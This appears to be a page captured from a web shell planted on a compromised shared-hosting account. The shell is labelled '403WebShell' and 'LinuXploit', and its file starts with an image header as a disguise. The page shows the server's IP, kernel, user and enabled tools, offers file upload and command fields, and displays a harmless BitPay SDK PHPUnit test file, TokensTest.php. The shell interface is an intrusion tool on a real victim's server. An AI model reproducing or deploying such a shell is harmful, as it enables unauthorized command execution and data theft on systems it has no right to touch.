����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.133.106.206
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./bofirm.gltechlimited.com/vendor/bitpay/sdk/test/unit/BitPaySDK/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./bofirm.gltechlimited.com/vendor/bitpay/sdk/test/unit/BitPaySDK/TokensTest.php
<?php

namespace BitPaySDK\Test;

use BitPaySDK\Model\Facade;
use BitPaySDK\Tokens;
use Exception;
use PHPUnit\Framework\TestCase;
use ReflectionClass;
use ReflectionException;

class TokensTest extends TestCase
{
    /**
     * @throws Exception
     */
    public function testLoadFromArray()
    {
        $tokens = Tokens::loadFromArray(['merchant' => 'test1', 'payout' => 'test2']);
        $this->assertEquals('test1', $tokens->getTokenByFacade(Facade::Merchant));
        $this->assertEquals('test2', $tokens->getTokenByFacade(Facade::Payout));
        $this->assertEquals('test2', $tokens->getPayoutToken());
    }

    public function testGetTokenByFacadeException()
    {
        $instance = new Tokens();
        $this->expectException(Exception::class);
        $this->expectExceptionMessage("given facade does not exist or no token defined for the given facade");
        $instance->getTokenByFacade(null);
    }

    /**
     * @throws ReflectionException
     * @throws Exception
     */
    public function testGetTokenByFacade()
    {
        $instance = new Tokens(Facade::Merchant, Facade::Payout);
        $this->assertEquals(
            $this->accessProtected($instance, 'merchant'),
            $instance->getTokenByFacade(Facade::Merchant)
        );

        $this->assertEquals($instance->getPayoutToken(), $instance->getTokenByFacade(Facade::Payout));
    }

    /**
     * @throws ReflectionException
     */
    private function accessProtected($obj, $prop)
    {
        $reflection = new ReflectionClass($obj);
        $property = $reflection->getProperty($prop);
        $property->setAccessible(true);

        return $property->getValue($obj);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit